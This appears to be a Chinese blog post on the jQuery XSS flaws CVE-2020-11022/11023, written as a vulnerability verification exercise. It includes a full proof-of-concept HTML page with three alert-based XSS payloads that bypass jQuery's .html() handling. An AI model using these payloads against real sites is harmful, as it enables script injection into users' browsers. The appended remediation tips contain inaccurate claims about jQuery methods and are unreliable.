jQuery导致的XSS跨站漏洞

漏洞详情:

在JQuery的诸多发行版本中,存在着DOM-based XSS(跨站脚本攻击的一种)漏洞,易被攻击者利用。漏洞原因在于过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 location.hash 跨站漏洞。

漏洞发现:

最简单方式,通过火狐浏览器的retire.js插件,访问目标网站发现。

或者通过扫描器,找到JQuery版本信息

漏洞验证:

漏洞发现者提供了JavaScript XSS Demo POC,使用POC验证漏洞情况

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
    <script src="http://xxxxxxxxxxxxxx/js/common/jquery-2.1.3.min.js"></script>
</head>
<body>
<script>
function test(n,jq){
    sanitizedHTML = document.getElementById('poc'+n).innerHTML;
    if(jq){
        $('#div').html(sanitizedHTML);
    }else{
        div.innerHTML=sanitizedHTML;
    }
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>

<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x onerror=alert(2)> 
</xmp>

<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x onerror=alert("1st")>">
</xmp>

<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x onerror=alert("1st")></style>
</xmp>

<div id="div"></div>
</body>
</html>

点击POC1下的Append via .html,xss弹窗

F12查看源代码发现div下<style>标签被闭合,执行<img>中onerror的弹窗

其他就不做演示,可自行查看。

 

 

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
jQuery中,由于早期版本的安全措施可能不完善,可能会存在一些历史漏洞,比如XSS跨站脚本攻击)风险。XSS漏洞通常是通过恶意注入脚本来获取用户的敏感信息或执行非授权操作。如果你怀疑遇到了由旧版本jQuery引起的XSS漏洞,可以按照以下步骤进行检查和修复: 1. **确定问题版本**:查看你的jQuery库版本,如果使用的是1.x或2.x版本,它们可能存在较高的XSS风险。推荐使用最新版本的jQuery(目前是3.x或更高),因为新版本通常会修复这些问题。 2. **检查代码中的DOM操作**:审查代码中涉及HTML插入、替换或修改的部分,特别是使用`html()`、`text()`或`append()`等方法时,确保没有直接拼接用户输入,而应该使用`.html()`的第二个参数并传递HTML编码过的字符串。 3. **使用`$.parseHTML()`或`$.ajax()`设置正确选项**:在某些情况下,使用`$.parseHTML()`来解析HTML字符串,并确保其安全。对于AJAX请求,设置`contentType`为`application/json`或`text/plain`,避免默认的`text/html`可能导致的注入。 4. **使用`.load()`代替`html()`**:如果使用了`.load()`方法,确保目标URL经过验证,不会接受来自不可信源的数据。 5. **使用jQuery安全插件**:虽然不是必须,但考虑使用像jQuery Sanitize或jQuery AJAX Security插件,它们可以帮助防止XSS漏洞。 6. **更新依赖**:如果有条件,尽量升级jQuery库到最新版本,这样可以确保安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值